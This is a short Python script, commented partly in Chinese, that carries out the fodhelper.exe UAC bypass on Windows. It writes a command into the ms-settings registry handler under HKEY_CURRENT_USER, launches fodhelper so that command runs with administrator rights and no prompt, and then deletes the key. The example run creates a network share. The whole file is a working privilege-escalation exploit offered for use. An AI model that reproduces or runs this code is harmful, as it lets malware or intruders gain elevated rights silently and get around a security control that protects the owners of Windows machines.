# -*- encoding: utf-8 -*-
'''
@File    :   Administrator.py   
@Contact :   desufnocs@163.com
@des     :   绕过UAC以管理员权限运行
 
@Modify Time       @Author      @Version    @Desciption
------------      ----------    --------    -----------
2025/2/17 12:27   AssenImpact     1.0         None
'''
import os
import sys

if sys.version_info[0] == 3:
    import winreg as winreg
else:
    import _winreg as winreg

CMD = r"C:\Windows\System32\cmd.exe"
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'


def create_reg_key(key, value):
    '''
    Creates a reg key
    Created on Mon Jan  8 09:09:51 2018

    @author: coordinate
    '''
    try:
        winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
        registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
        winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
        winreg.CloseKey(registry_key)
    except WindowsError:
        raise


def delete_reg_key():
    """
    删除执行过的注册表
    :return:
    """
    try:
        # 打开注册表
        with winreg.ConnectRegistry(None, winreg.HKEY_CURRENT_USER) as reg:
            winreg.DeleteKey(reg, REG_PATH)
        return ""
    except FileNotFoundError:
        return "该注册表键或值不存在"
    except PermissionError:
        return "权限不足，无法删除注册表值"


def bypass_uac(cmd):
    '''
    Tries to bypass the UAC
    Created on Mon Jan  8 09:09:51 2018

    @author: coordinate
    '''
    try:
        create_reg_key(DELEGATE_EXEC_REG_KEY, '')
        create_reg_key(None, cmd)
    except WindowsError:
        raise


def execute(command):
    """
    绕过UAC以管理员身份运行程序入口函数
    :param command:
    :return:
    """
    try:
        cmd = '{} /c {}'.format(CMD, command)
        bypass_uac(cmd)
        os.system(FOD_HELPER)
        back = delete_reg_key()
        if len(back):
            return back
        else:
            return ""
    except WindowsError:
        return "注册表写入命令失败"


if __name__ == '__main__':
    execute("net share ceshi=d:\\share_test ")
